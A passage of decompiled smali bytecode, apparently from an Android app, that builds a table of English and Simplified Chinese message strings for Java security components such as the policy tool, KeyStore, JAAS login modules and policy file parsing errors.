                                                                              2340const-string v3, "\u4fdd\u5b58\u4fee\u6539"
                                                                              2341aput-object v3, v2, v5
                                                                              2342aput-object v2, v0, v1
                                                                              2343const/16 v1, 0x104
                                                                              2344new-array v2, v6, [Ljava/lang/Object;
                                                                              2346const-string v3, "No Policy Entry selected"
                                                                              2347aput-object v3, v2, v4
                                                                              2349const-string v3, "\u6ca1\u6709\u9009\u62e9\u89c4\u5219\u9879\u76ee"
                                                                              2350aput-object v3, v2, v5
                                                                              2351aput-object v2, v0, v1
                                                                              2352const/16 v1, 0x105
                                                                              2353new-array v2, v6, [Ljava/lang/Object;
                                                                              2355const-string v3, "Unable to open KeyStore: ex.toString()"
                                                                              2356aput-object v3, v2, v4
                                                                              2358const-string v3, "\u65e0\u6cd5\u6253\u5f00\u5bc6\u94a5\u5e93: {0}"
                                                                              2359aput-object v3, v2, v5
                                                                              2360aput-object v2, v0, v1
                                                                              2361const/16 v1, 0x106
                                                                              2362new-array v2, v6, [Ljava/lang/Object;
                                                                              2364const-string v3, "No principal selected"
                                                                              2365aput-object v3, v2, v4
                                                                              2367const-string v3, "\u672a\u9009\u62e9 Principal"
                                                                              2368aput-object v3, v2, v5
                                                                              2369aput-object v2, v0, v1
                                                                              2370const/16 v1, 0x107
                                                                              2371new-array v2, v6, [Ljava/lang/Object;
                                                                              2373const-string v3, "No permission selected"
                                                                              2374aput-object v3, v2, v4
                                                                              2376const-string v3, "\u6ca1\u6709\u9009\u62e9\u6743\u9650"
                                                                              2377aput-object v3, v2, v5
                                                                              2378aput-object v2, v0, v1
                                                                              2379const/16 v1, 0x108
                                                                              2380new-array v2, v6, [Ljava/lang/Object;
                                                                              2382const-string v3, "name"
                                                                              2383aput-object v3, v2, v4
                                                                              2385const-string v3, "\u540d\u79f0"
                                                                              2386aput-object v3, v2, v5
                                                                              2387aput-object v2, v0, v1
                                                                              2388const/16 v1, 0x109
                                                                              2389new-array v2, v6, [Ljava/lang/Object;
                                                                              2391const-string v3, "configuration type"
                                                                              2392aput-object v3, v2, v4
                                                                              2394const-string v3, "\u914d\u7f6e\u7c7b\u578b"
                                                                              2395aput-object v3, v2, v5
                                                                              2396aput-object v2, v0, v1
                                                                              2397const/16 v1, 0x10a
                                                                              2398new-array v2, v6, [Ljava/lang/Object;
                                                                              2400const-string v3, "environment variable name"
                                                                              2401aput-object v3, v2, v4
                                                                              2403const-string v3, "\u73af\u5883\u53d8\u91cf\u540d"
                                                                              2404aput-object v3, v2, v5
                                                                              2405aput-object v2, v0, v1
                                                                              2406const/16 v1, 0x10b
                                                                              2407new-array v2, v6, [Ljava/lang/Object;
                                                                              2409const-string v3, "library name"
                                                                              2410aput-object v3, v2, v4
                                                                              2412const-string v3, "\u7a0b\u5e8f\u5e93\u540d\u79f0"
                                                                              2413aput-object v3, v2, v5
                                                                              2414aput-object v2, v0, v1
                                                                              2415const/16 v1, 0x10c
                                                                              2416new-array v2, v6, [Ljava/lang/Object;
                                                                              2418const-string v3, "package name"
                                                                              2419aput-object v3, v2, v4
                                                                              2421const-string v3, "\u8f6f\u4ef6\u5305\u540d\u79f0"
                                                                              2422aput-object v3, v2, v5
                                                                              2423aput-object v2, v0, v1
                                                                              2424const/16 v1, 0x10d
                                                                              2425new-array v2, v6, [Ljava/lang/Object;
                                                                              2427const-string v3, "policy type"
                                                                              2428aput-object v3, v2, v4
                                                                              2430const-string v3, "\u7b56\u7565\u7c7b\u578b"
                                                                              2431aput-object v3, v2, v5
                                                                              2432aput-object v2, v0, v1
                                                                              2433const/16 v1, 0x10e
                                                                              2434new-array v2, v6, [Ljava/lang/Object;
                                                                              2436const-string v3, "property name"
                                                                              2437aput-object v3, v2, v4
                                                                              2439const-string v3, "\u5c5e\u6027\u540d\u79f0"
                                                                              2440aput-object v3, v2, v5
                                                                              2441aput-object v2, v0, v1
                                                                              2442const/16 v1, 0x10f
                                                                              2443new-array v2, v6, [Ljava/lang/Object;
                                                                              2445const-string v3, "provider name"
                                                                              2446aput-object v3, v2, v4
                                                                              2448const-string v3, "\u63d0\u4f9b\u8005\u540d\u79f0"
                                                                              2449aput-object v3, v2, v5
                                                                              2450aput-object v2, v0, v1
                                                                              2451const/16 v1, 0x110
                                                                              2452new-array v2, v6, [Ljava/lang/Object;
                                                                              2454const-string v3, "Principal List"
                                                                              2455aput-object v3, v2, v4
                                                                              2457const-string v3, "Principal \u5217\u8868"
                                                                              2458aput-object v3, v2, v5
                                                                              2459aput-object v2, v0, v1
                                                                              2460const/16 v1, 0x111
                                                                              2461new-array v2, v6, [Ljava/lang/Object;
                                                                              2463const-string v3, "Permission List"
                                                                              2464aput-object v3, v2, v4
                                                                              2466const-string v3, "\u6743\u9650\u5217\u8868"
                                                                              2467aput-object v3, v2, v5
                                                                              2468aput-object v2, v0, v1
                                                                              2469const/16 v1, 0x112
                                                                              2470new-array v2, v6, [Ljava/lang/Object;
                                                                              2472const-string v3, "Code Base"
                                                                              2473aput-object v3, v2, v4
                                                                              2475const-string v3, "Code Base\uff08\u4ee3\u7801\u5e93\uff09"
                                                                              2476aput-object v3, v2, v5
                                                                              2477aput-object v2, v0, v1
                                                                              2478const/16 v1, 0x113
                                                                              2479new-array v2, v6, [Ljava/lang/Object;
                                                                              2481const-string v3, "KeyStore U R L:"
                                                                              2482aput-object v3, v2, v4
                                                                              2484const-string v3, "\u5bc6\u94a5\u5e93 URL:"
                                                                              2485aput-object v3, v2, v5
                                                                              2486aput-object v2, v0, v1
                                                                              2487const/16 v1, 0x114
                                                                              2488new-array v2, v6, [Ljava/lang/Object;
                                                                              2490const-string v3, "KeyStore Password U R L:"
                                                                              2491aput-object v3, v2, v4
                                                                              2493const-string v3, "\u5bc6\u94a5\u5e93\u53e3\u4ee4 URL:"
                                                                              2494aput-object v3, v2, v5
                                                                              2495aput-object v2, v0, v1
                                                                              2496const/16 v1, 0x115
                                                                              2497new-array v2, v6, [Ljava/lang/Object;
                                                                              2499const-string v3, "invalid null input(s)"
                                                                              2500aput-object v3, v2, v4
                                                                              2502const-string v3, "\u65e0\u6548\u7a7a\u8f93\u5165"
                                                                              2503aput-object v3, v2, v5
                                                                              2504aput-object v2, v0, v1
                                                                              2505const/16 v1, 0x116
                                                                              2506new-array v2, v6, [Ljava/lang/Object;
                                                                              2508const-string v3, "actions can only be \'read\'"
                                                                              2509aput-object v3, v2, v4
                                                                              2511const-string v3, "\u52a8\u4f5c\u53ea\u80fd\u88ab\u2018\u8bfb\u53d6\'"
                                                                              2512aput-object v3, v2, v5
                                                                              2513aput-object v2, v0, v1
                                                                              2514const/16 v1, 0x117
                                                                              2515new-array v2, v6, [Ljava/lang/Object;
                                                                              2517const-string v3, "permission name [name] syntax invalid: "
                                                                              2518aput-object v3, v2, v4
                                                                              2520const-string v3, "\u6743\u9650\u540d\u79f0 [{0}]\u8bed\u6cd5\u65e0\u6548\uff1a "
                                                                              2521aput-object v3, v2, v5
                                                                              2522aput-object v2, v0, v1
                                                                              2523const/16 v1, 0x118
                                                                              2524new-array v2, v6, [Ljava/lang/Object;
                                                                              2526const-string v3, "Credential Class not followed by a Principal Class and Name"
                                                                              2527aput-object v3, v2, v4
                                                                              2529const-string v3, "\u8ba4\u8bc1\u7b49\u7ea7\u540e\u672a\u52a0\u4e0aPrincipal \u7c7b\u522b\u53ca\u540d\u79f0"
                                                                              2530aput-object v3, v2, v5
                                                                              2531aput-object v2, v0, v1
                                                                              2532const/16 v1, 0x119
                                                                              2533new-array v2, v6, [Ljava/lang/Object;
                                                                              2535const-string v3, "Principal Class not followed by a Principal Name"
                                                                              2536aput-object v3, v2, v4
                                                                              2538const-string v3, "Principal \u7c7b\u522b\u540e\u9762\u6ca1\u52a0\u4e0aPrincipal \u540d\u79f0"
                                                                              2539aput-object v3, v2, v5
                                                                              2540aput-object v2, v0, v1
                                                                              2541const/16 v1, 0x11a
                                                                              2542new-array v2, v6, [Ljava/lang/Object;
                                                                              2544const-string v3, "Principal Name must be surrounded by quotes"
                                                                              2545aput-object v3, v2, v4
                                                                              2547const-string v3, "Principal \u540d\u79f0\u5fc5\u987b\u653e\u5728\u5f15\u53f7\u5185"
                                                                              2548aput-object v3, v2, v5
                                                                              2549aput-object v2, v0, v1
                                                                              2550const/16 v1, 0x11b
                                                                              2551new-array v2, v6, [Ljava/lang/Object;
                                                                              2553const-string v3, "Principal Name missing end quote"
                                                                              2554aput-object v3, v2, v4
                                                                              2556const-string v3, "Principal \u540d\u79f0\u7f3a\u5c11\u4e0b\u5f15\u53f7"
                                                                              2557aput-object v3, v2, v5
                                                                              2558aput-object v2, v0, v1
                                                                              2559const/16 v1, 0x11c
                                                                              2560new-array v2, v6, [Ljava/lang/Object;
                                                                              2562const-string v3, "PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value"
                                                                              2563aput-object v3, v2, v4
                                                                              2565const-string v3, "\u5982\u679c Principal \u540d\u79f0\u4e0d\u662f\u4e00\u4e2a\u901a\u914d\u7b26 (*) \u503c\uff0c\u90a3\u4e48 PrivateCredentialPermission Principal \u7c7b\u522b\u5c31\u4e0d\u4f1a\u662f\u4e00\u4e2a\u901a\u914d\u7b26 (*) \u503c"
                                                                              2566aput-object v3, v2, v5
                                                                              2567aput-object v2, v0, v1
                                                                              2568const/16 v1, 0x11d
                                                                              2569new-array v2, v6, [Ljava/lang/Object;
                                                                              2571const-string v3, "CredOwner:\n\tPrincipal Class = class\n\tPrincipal Name = name"
                                                                              2572aput-object v3, v2, v4
                                                                              2574const-string v3, "CredOwner:\n\tPrincipal \u7c7b\u522b = {0}\n\tPrincipal \u540d\u79f0 = {1}"
                                                                              2575aput-object v3, v2, v5
                                                                              2576aput-object v2, v0, v1
                                                                              2577const/16 v1, 0x11e
                                                                              2578new-array v2, v6, [Ljava/lang/Object;
                                                                              2580const-string v3, "provided null name"
                                                                              2581aput-object v3, v2, v4
                                                                              2583const-string v3, "\u6240\u4f9b\u540d\u79f0\u65e0\u6548"
                                                                              2584aput-object v3, v2, v5
                                                                              2585aput-object v2, v0, v1
                                                                              2586const/16 v1, 0x11f
                                                                              2587new-array v2, v6, [Ljava/lang/Object;
                                                                              2589const-string v3, "provided null keyword map"
                                                                              2590aput-object v3, v2, v4
                                                                              2592const-string v3, "\u63d0\u4f9b\u4e86\u7a7a\u5173\u952e\u5b57\u6620\u5c04"
                                                                              2593aput-object v3, v2, v5
                                                                              2594aput-object v2, v0, v1
                                                                              2595const/16 v1, 0x120
                                                                              2596new-array v2, v6, [Ljava/lang/Object;
                                                                              2598const-string v3, "provided null OID map"
                                                                              2599aput-object v3, v2, v4
                                                                              2601const-string v3, "\u63d0\u4f9b\u4e86\u7a7a OID \u6620\u5c04"
                                                                              2602aput-object v3, v2, v5
                                                                              2603aput-object v2, v0, v1
                                                                              2604const/16 v1, 0x121
                                                                              2605new-array v2, v6, [Ljava/lang/Object;
                                                                              2607const-string v3, "invalid null AccessControlContext provided"
                                                                              2608aput-object v3, v2, v4
                                                                              2610const-string v3, "\u63d0\u4f9b\u65e0\u6548\u7684\u7a7a AccessControlContext"
                                                                              2611aput-object v3, v2, v5
                                                                              2612aput-object v2, v0, v1
                                                                              2613const/16 v1, 0x122
                                                                              2614new-array v2, v6, [Ljava/lang/Object;
                                                                              2616const-string v3, "invalid null action provided"
                                                                              2617aput-object v3, v2, v4
                                                                              2619const-string v3, "\u63d0\u4f9b\u4e86\u65e0\u6548\u7684\u7a7a\u52a8\u4f5c"
                                                                              2620aput-object v3, v2, v5
                                                                              2621aput-object v2, v0, v1
                                                                              2622const/16 v1, 0x123
                                                                              2623new-array v2, v6, [Ljava/lang/Object;
                                                                              2625const-string v3, "invalid null Class provided"
                                                                              2626aput-object v3, v2, v4
                                                                              2628const-string v3, "\u63d0\u4f9b\u4e86\u65e0\u6548\u7684\u7a7a\u7c7b\u522b"
                                                                              2629aput-object v3, v2, v5
                                                                              2630aput-object v2, v0, v1
                                                                              2631const/16 v1, 0x124
                                                                              2632new-array v2, v6, [Ljava/lang/Object;
                                                                              2634const-string v3, "Subject:\n"
                                                                              2635aput-object v3, v2, v4
                                                                              2637const-string v3, "\u4e3b\u9898\uff1a\n"
                                                                              2638aput-object v3, v2, v5
                                                                              2639aput-object v2, v0, v1
                                                                              2640const/16 v1, 0x125
                                                                              2641new-array v2, v6, [Ljava/lang/Object;
                                                                              2643const-string v3, "\tPrincipal: "
                                                                              2644aput-object v3, v2, v4
                                                                              2646const-string v3, "\tPrincipal: "
                                                                              2647aput-object v3, v2, v5
                                                                              2648aput-object v2, v0, v1
                                                                              2649const/16 v1, 0x126
                                                                              2650new-array v2, v6, [Ljava/lang/Object;
                                                                              2652const-string v3, "\tPublic Credential: "
                                                                              2653aput-object v3, v2, v4
                                                                              2655const-string v3, "\t\u516c\u7528\u8ba4\u8bc1 "
                                                                              2656aput-object v3, v2, v5
                                                                              2657aput-object v2, v0, v1
                                                                              2658const/16 v1, 0x127
                                                                              2659new-array v2, v6, [Ljava/lang/Object;
                                                                              2661const-string v3, "\tPrivate Credentials inaccessible\n"
                                                                              2662aput-object v3, v2, v4
                                                                              2664const-string v3, "\t\u65e0\u6cd5\u8bbf\u95ee\u79c1\u4eba\u8ba4\u8bc1\n"
                                                                              2665aput-object v3, v2, v5
                                                                              2666aput-object v2, v0, v1
                                                                              2667const/16 v1, 0x128
                                                                              2668new-array v2, v6, [Ljava/lang/Object;
                                                                              2670const-string v3, "\tPrivate Credential: "
                                                                              2671aput-object v3, v2, v4
                                                                              2673const-string v3, "\t\u79c1\u4eba\u8ba4\u8bc1 "
                                                                              2674aput-object v3, v2, v5
                                                                              2675aput-object v2, v0, v1
                                                                              2676const/16 v1, 0x129
                                                                              2677new-array v2, v6, [Ljava/lang/Object;
                                                                              2679const-string v3, "\tPrivate Credential inaccessible\n"
                                                                              2680aput-object v3, v2, v4
                                                                              2682const-string v3, "\t\u65e0\u6cd5\u8bbf\u95ee\u79c1\u4eba\u8ba4\u8bc1\n"
                                                                              2683aput-object v3, v2, v5
                                                                              2684aput-object v2, v0, v1
                                                                              2685const/16 v1, 0x12a
                                                                              2686new-array v2, v6, [Ljava/lang/Object;
                                                                              2688const-string v3, "Subject is read-only"
                                                                              2689aput-object v3, v2, v4
                                                                              2691const-string v3, "\u4e3b\u9898\u4e3a\u53ea\u8bfb"
                                                                              2692aput-object v3, v2, v5
                                                                              2693aput-object v2, v0, v1
                                                                              2694const/16 v1, 0x12b
                                                                              2695new-array v2, v6, [Ljava/lang/Object;
                                                                              2697const-string v3, "attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set"
                                                                              2698aput-object v3, v2, v4
                                                                              2700const-string v3, "\u8bd5\u56fe\u5c06\u4e00\u4e2a\u975e java.security.Principal \u5b9e\u4f8b\u7684\u5bf9\u8c61\u6dfb\u52a0\u81f3\u4e3b\u9898\u7684 Principal \u96c6\u4e2d"
                                                                              2701aput-object v3, v2, v5
                                                                              2702aput-object v2, v0, v1
                                                                              2703const/16 v1, 0x12c
                                                                              2704new-array v2, v6, [Ljava/lang/Object;
                                                                              2706const-string v3, "attempting to add an object which is not an instance of class"
                                                                              2707aput-object v3, v2, v4
                                                                              2709const-string v3, "\u8bd5\u56fe\u6dfb\u52a0\u4e00\u4e2a\u975e {0} \u5b9e\u4f8b\u7684\u5bf9\u8c61"
                                                                              2710aput-object v3, v2, v5
                                                                              2711aput-object v2, v0, v1
                                                                              2712const/16 v1, 0x12d
                                                                              2713new-array v2, v6, [Ljava/lang/Object;
                                                                              2715const-string v3, "LoginModuleControlFlag: "
                                                                              2716aput-object v3, v2, v4
                                                                              2718const-string v3, "LoginModuleControlFlag: "
                                                                              2719aput-object v3, v2, v5
                                                                              2720aput-object v2, v0, v1
                                                                              2721const/16 v1, 0x12e
                                                                              2722new-array v2, v6, [Ljava/lang/Object;
                                                                              2724const-string v3, "Invalid null input: name"
                                                                              2725aput-object v3, v2, v4
                                                                              2727const-string v3, "\u65e0\u6548\u7a7a\u8f93\u5165\uff1a\u540d\u79f0"
                                                                              2728aput-object v3, v2, v5
                                                                              2729aput-object v2, v0, v1
                                                                              2730const/16 v1, 0x12f
                                                                              2731new-array v2, v6, [Ljava/lang/Object;
                                                                              2733const-string v3, "No LoginModules configured for name"
                                                                              2734aput-object v3, v2, v4
                                                                              2736const-string v3, "\u6ca1\u6709\u4e3a {0} \u914d\u7f6eLoginModules"
                                                                              2737aput-object v3, v2, v5
                                                                              2738aput-object v2, v0, v1
                                                                              2739const/16 v1, 0x130
                                                                              2740new-array v2, v6, [Ljava/lang/Object;
                                                                              2742const-string v3, "invalid null Subject provided"
                                                                              2743aput-object v3, v2, v4
                                                                              2745const-string v3, "\u63d0\u4f9b\u4e86\u65e0\u6548\u7a7a\u4e3b\u9898"
                                                                              2746aput-object v3, v2, v5
                                                                              2747aput-object v2, v0, v1
                                                                              2748const/16 v1, 0x131
                                                                              2749new-array v2, v6, [Ljava/lang/Object;
                                                                              2751const-string v3, "invalid null CallbackHandler provided"
                                                                              2752aput-object v3, v2, v4
                                                                              2754const-string v3, "\u63d0\u4f9b\u4e86\u65e0\u6548\u7684\u7a7a CallbackHandler"
                                                                              2755aput-object v3, v2, v5
                                                                              2756aput-object v2, v0, v1
                                                                              2757const/16 v1, 0x132
                                                                              2758new-array v2, v6, [Ljava/lang/Object;
                                                                              2760const-string v3, "null subject - logout called before login"
                                                                              2761aput-object v3, v2, v4
                                                                              2763const-string v3, "\u65e0\u6548\u4e3b\u9898 - \u5728\u767b\u5f55\u4e4b\u524d\u5373\u88ab\u8c03\u7528\u6ce8\u9500"
                                                                              2764aput-object v3, v2, v5
                                                                              2765aput-object v2, v0, v1
                                                                              2766const/16 v1, 0x133
                                                                              2767new-array v2, v6, [Ljava/lang/Object;
                                                                              2769const-string v3, "unable to instantiate LoginModule, module, because it does not provide a no-argument constructor"
                                                                              2770aput-object v3, v2, v4
                                                                              2772const-string v3, "\u65e0\u6cd5\u4f8b\u793a LoginModule\uff0c {0}\uff0c\u56e0\u4e3a\u5b83\u5e76\u672a\u63d0\u4f9b\u4e00\u4e2a\u4e0d\u542b\u53c2\u6570\u7684\u6784\u9020\u7a0b\u5e8f"
                                                                              2773aput-object v3, v2, v5
                                                                              2774aput-object v2, v0, v1
                                                                              2775const/16 v1, 0x134
                                                                              2776new-array v2, v6, [Ljava/lang/Object;
                                                                              2778const-string v3, "unable to instantiate LoginModule"
                                                                              2779aput-object v3, v2, v4
                                                                              2781const-string v3, "\u65e0\u6cd5\u4f8b\u793a LoginModule"
                                                                              2782aput-object v3, v2, v5
                                                                              2783aput-object v2, v0, v1
                                                                              2784const/16 v1, 0x135
                                                                              2785new-array v2, v6, [Ljava/lang/Object;
                                                                              2787const-string v3, "unable to instantiate LoginModule: "
                                                                              2788aput-object v3, v2, v4
                                                                              2790const-string v3, "\u65e0\u6cd5\u5b9e\u4f8b\u5316 LoginModule: "
                                                                              2791aput-object v3, v2, v5
                                                                              2792aput-object v2, v0, v1
                                                                              2793const/16 v1, 0x136
                                                                              2794new-array v2, v6, [Ljava/lang/Object;
                                                                              2796const-string v3, "unable to find LoginModule class: "
                                                                              2797aput-object v3, v2, v4
                                                                              2799const-string v3, "\u65e0\u6cd5\u627e\u5230 LoginModule \u7c7b\u522b\uff1a "
                                                                              2800aput-object v3, v2, v5
                                                                              2801aput-object v2, v0, v1
                                                                              2802const/16 v1, 0x137
                                                                              2803new-array v2, v6, [Ljava/lang/Object;
                                                                              2805const-string v3, "unable to access LoginModule: "
                                                                              2806aput-object v3, v2, v4
                                                                              2808const-string v3, "\u65e0\u6cd5\u8bbf\u95ee LoginModule: "
                                                                              2809aput-object v3, v2, v5
                                                                              2810aput-object v2, v0, v1
                                                                              2811const/16 v1, 0x138
                                                                              2812new-array v2, v6, [Ljava/lang/Object;
                                                                              2814const-string v3, "Login Failure: all modules ignored"
                                                                              2815aput-object v3, v2, v4
                                                                              2817const-string v3, "\u767b\u5f55\u5931\u8d25\uff1a\u5ffd\u7565\u6240\u6709\u6a21\u5757"
                                                                              2818aput-object v3, v2, v5
                                                                              2819aput-object v2, v0, v1
                                                                              2820const/16 v1, 0x139
                                                                              2821new-array v2, v6, [Ljava/lang/Object;
                                                                              2823const-string v3, "java.security.policy: error parsing policy:\n\tmessage"
                                                                              2824aput-object v3, v2, v4
                                                                              2826const-string v3, "java.security.policy: \u89e3\u6790\u9519\u8bef {0}\uff1a\n\t{1}"
                                                                              2827aput-object v3, v2, v5
                                                                              2828aput-object v2, v0, v1
                                                                              2829const/16 v1, 0x13a
                                                                              2830new-array v2, v6, [Ljava/lang/Object;
                                                                              2832const-string v3, "java.security.policy: error adding Permission, perm:\n\tmessage"
                                                                              2833aput-object v3, v2, v4
                                                                              2835const-string v3, "java.security.policy: \u6dfb\u52a0\u6743\u9650\u9519\u8bef {0}\uff1a\n\t{1}"
                                                                              2836aput-object v3, v2, v5
                                                                              2837aput-object v2, v0, v1
                                                                              2838const/16 v1, 0x13b
                                                                              2839new-array v2, v6, [Ljava/lang/Object;
                                                                              2841const-string v3, "java.security.policy: error adding Entry:\n\tmessage"
                                                                              2842aput-object v3, v2, v4
                                                                              2844const-string v3, "java.security.policy: \u6dfb\u52a0\u9879\u76ee\u9519\u8bef\uff1a\n\t{0}"
                                                                              2845aput-object v3, v2, v5
                                                                              2846aput-object v2, v0, v1
                                                                              2847const/16 v1, 0x13c
                                                                              2848new-array v2, v6, [Ljava/lang/Object;
                                                                              2850const-string v3, "alias name not provided (pe.name)"
                                                                              2851aput-object v3, v2, v4
                                                                              2853const-string v3, "\u672a\u63d0\u4f9b\u522b\u540d ({0})"
                                                                              2854aput-object v3, v2, v5
                                                                              2855aput-object v2, v0, v1
                                                                              2856const/16 v1, 0x13d
                                                                              2857new-array v2, v6, [Ljava/lang/Object;
                                                                              2859const-string v3, "unable to perform substitution on alias, suffix"
                                                                              2860aput-object v3, v2, v4
                                                                              2862const-string v3, "\u4e0d\u80fd\u5728\u522b\u540d\u4e0a\u6267\u884c\u66ff\u4ee3\uff0c {0}"
                                                                              2863aput-object v3, v2, v5
                                                                              2864aput-object v2, v0, v1
                                                                              2865const/16 v1, 0x13e
                                                                              2866new-array v2, v6, [Ljava/lang/Object;
                                                                              2868const-string v3, "substitution value, prefix, unsupported"
                                                                              2869aput-object v3, v2, v4
                                                                              2871const-string v3, "\u66ff\u4ee3\u503c {0} \u4e0d\u53d7\u652f\u6301"
                                                                              2872aput-object v3, v2, v5
                                                                              2873aput-object v2, v0, v1
                                                                              2874const/16 v1, 0x13f
                                                                              2875new-array v2, v6, [Ljava/lang/Object;
                                                                              2877const-string v3, "("
                                                                              2878aput-object v3, v2, v4
                                                                              2880const-string v3, "("
                                                                              2881aput-object v3, v2, v5
                                                                              2882aput-object v2, v0, v1
                                                                              2883const/16 v1, 0x140
                                                                              2884new-array v2, v6, [Ljava/lang/Object;
                                                                              2886const-string v3, ")"
                                                                              2887aput-object v3, v2, v4
                                                                              2889const-string v3, ")"
                                                                              2890aput-object v3, v2, v5
                                                                              2891aput-object v2, v0, v1
                                                                              2892const/16 v1, 0x141
                                                                              2893new-array v2, v6, [Ljava/lang/Object;
                                                                              2895const-string v3, "type can\'t be null"
                                                                              2896aput-object v3, v2, v4
                                                                              2898const-string v3, "\u4e0d\u80fd\u4e3a\u65e0\u6548\u7c7b\u578b"
                                                                              2899aput-object v3, v2, v5
                                                                              2900aput-object v2, v0, v1
                                                                              2901const/16 v1, 0x142
                                                                              2902new-array v2, v6, [Ljava/lang/Object;
                                                                              2904const-string v3, "keystorePasswordURL can not be specified without also specifying keystore"
                                                                              2905aput-object v3, v2, v4
                                                                              2907const-string v3, "\u4e0d\u6307\u5b9a keystore \u65f6\u65e0\u6cd5\u6307\u5b9a keystorePasswordURL"
                                                                              2908aput-object v3, v2, v5
                                                                              2909aput-object v2, v0, v1
                                                                              2910const/16 v1, 0x143
                                                                              2911new-array v2, v6, [Ljava/lang/Object;
                                                                              2913const-string v3, "expected keystore type"
                                                                              2914aput-object v3, v2, v4
                                                                              2916const-string v3, "\u9884\u671f\u7684 keystore \u7c7b\u578b"
                                                                              2917aput-object v3, v2, v5
                                                                              2918aput-object v2, v0, v1
                                                                              2919const/16 v1, 0x144
                                                                              2920new-array v2, v6, [Ljava/lang/Object;
                                                                              2922const-string v3, "expected keystore provider"
                                                                              2923aput-object v3, v2, v4
                                                                              2925const-string v3, "\u9884\u671f\u7684 keystore \u63d0\u4f9b\u8005"
                                                                              2926aput-object v3, v2, v5
                                                                              2927aput-object v2, v0, v1
                                                                              2928const/16 v1, 0x145
                                                                              2929new-array v2, v6, [Ljava/lang/Object;
                                                                              2931const-string v3, "multiple Codebase expressions"
                                                                              2932aput-object v3, v2, v4
                                                                              2934const-string v3, "\u591a\u79cd Codebase \u8868\u8fbe\u5f0f"
                                                                              2935aput-object v3, v2, v5
                                                                              2936aput-object v2, v0, v1
                                                                              2937const/16 v1, 0x146
                                                                              2938new-array v2, v6, [Ljava/lang/Object;
                                                                              2940const-string v3, "multiple SignedBy expressions"
                                                                              2941aput-object v3, v2, v4
                                                                              2943const-string v3, "\u591a\u79cd SignedBy \u8868\u8fbe\u5f0f"
                                                                              2944aput-object v3, v2, v5
                                                                              2945aput-object v2, v0, v1
                                                                              2946const/16 v1, 0x147
                                                                              2947new-array v2, v6, [Ljava/lang/Object;
                                                                              2949const-string v3, "SignedBy has empty alias"
                                                                              2950aput-object v3, v2, v4
                                                                              2952const-string v3, "SignedBy \u6709\u7a7a\u522b\u540d"
                                                                              2953aput-object v3, v2, v5
                                                                              2954aput-object v2, v0, v1
                                                                              2955const/16 v1, 0x148
                                                                              2956new-array v2, v6, [Ljava/lang/Object;
                                                                              2958const-string v3, "can not specify Principal with a wildcard class without a wildcard name"
                                                                              2959aput-object v3, v2, v4
                                                                              2961const-string v3, "\u6ca1\u6709\u901a\u914d\u7b26\u540d\u79f0\uff0c\u65e0\u6cd5\u7528\u901a\u914d\u7b26\u7c7b\u522b\u6307\u5b9aPrincipal"
                                                                              2962aput-object v3, v2, v5
                                                                              2963aput-object v2, v0, v1
                                                                              2964const/16 v1, 0x149
                                                                              2965new-array v2, v6, [Ljava/lang/Object;
                                                                              2967const-string v3, "expected codeBase or SignedBy or Principal"
                                                                              2968aput-object v3, v2, v4
                                                                              2970const-string v3, "\u9884\u671f\u7684 codeBase \u6216 SignedBy \u6216 Principal"
                                                                              2971aput-object v3, v2, v5
                                                                              2972aput-object v2, v0, v1
                                                                              2973const/16 v1, 0x14a
                                                                              2974new-array v2, v6, [Ljava/lang/Object;
                                                                              2976const-string v3, "expected permission entry"
                                                                              2977aput-object v3, v2, v4
                                                                              2979const-string v3, "\u9884\u671f\u7684\u6743\u9650\u9879\u76ee"
                                                                              2980aput-object v3, v2, v5
                                                                              2981aput-object v2, v0, v1
                                                                              2982const/16 v1, 0x14b
                                                                              2983new-array v2, v6, [Ljava/lang/Object;
                                                                              2985const-string v3, "number "
                                                                              2986aput-object v3, v2, v4
                                                                              2988const-string v3, "\u53f7\u7801"
                                                                              2989aput-object v3, v2, v5
                                                                              2990aput-object v2, v0, v1
                                                                              2991const/16 v1, 0x14c
                                                                              2992new-array v2, v6, [Ljava/lang/Object;
                                                                              2994const-string v3, "expected [expect], read [end of file]"
                                                                              2995aput-object v3, v2, v4
                                                                              2997const-string v3, "\u9884\u671f\u7684 [{0}], \u8bfb\u53d6 [end of file]"
                                                                              2998aput-object v3, v2, v5
                                                                              2999aput-object v2, v0, v1
                                                                              3000const/16 v1, 0x14d
                                                                              3001new-array v2, v6, [Ljava/lang/Object;
                                                                              3003const-string v3, "expected [;], read [end of file]"
                                                                              3004aput-object v3, v2, v4
                                                                              3006const-string v3, "\u9884\u671f\u7684 [;], \u8bfb\u53d6[end of file]"
                                                                              3007aput-object v3, v2, v5
                                                                              3008aput-object v2, v0, v1
                                                                              3009const/16 v1, 0x14e
                                                                              3010new-array v2, v6, [Ljava/lang/Object;
                                                                              3012const-string v3, "line number: msg"
                                                                              3013aput-object v3, v2, v4
                                                                              3015const-string v3, "\u5217 {0}\uff1a {1}"
                                                                              3016aput-object v3, v2, v5
                                                                              3017aput-object v2, v0, v1
                                                                              3018const/16 v1, 0x14f
                                                                              3019new-array v2, v6, [Ljava/lang/Object;
                                                                              3021const-string v3, "line number: expected [expect], found [actual]"
                                                                              3022aput-object v3, v2, v4
                                                                              3024const-string v3, "\u884c\u53f7 {0}\uff1a\u9884\u671f\u7684 [{1}]\uff0c\u627e\u5230 [{2}]"
                                                                              3025aput-object v3, v2, v5
                                                                              3026aput-object v2, v0, v1
                                                                              3027const/16 v1, 0x150
                                                                              3028new-array v2, v6, [Ljava/lang/Object;
                                                                              3030const-string v3, "null principalClass or principalName"
                                                                              3031aput-object v3, v2, v4
                                                                              3033const-string v3, "\u65e0\u6548 principalClass \u6216 principalName"
                                                                              3034aput-object v3, v2, v5
                                                                              3035aput-object v2, v0, v1
                                                                              3036const/16 v1, 0x151
                                                                              3037new-array v2, v6, [Ljava/lang/Object;
                                                                              3039const-string v3, "PKCS11 Token [providerName] Password: "
                                                                              3040aput-object v3, v2, v4
                                                                              3042const-string v3, "PKCS11 Token [{0}] \u5bc6\u7801: "
                                                                              3043aput-object v3, v2, v5
                                                                              3044aput-object v2, v0, v1
                                                                              3045const/16 v1, 0x152
                                                                              3046new-array v2, v6, [Ljava/lang/Object;
                                                                              3048const-string v3, "unable to instantiate Subject-based policy"
                                                                              3049aput-object v3, v2, v4
                                                                              3051const-string v3, "\u65e0\u6cd5\u5b9e\u4f8b\u5316\u57fa\u4e8e\u4e3b\u9898\u7684\u7b56\u7565"
                                                                              3052aput-object v3, v2, v5
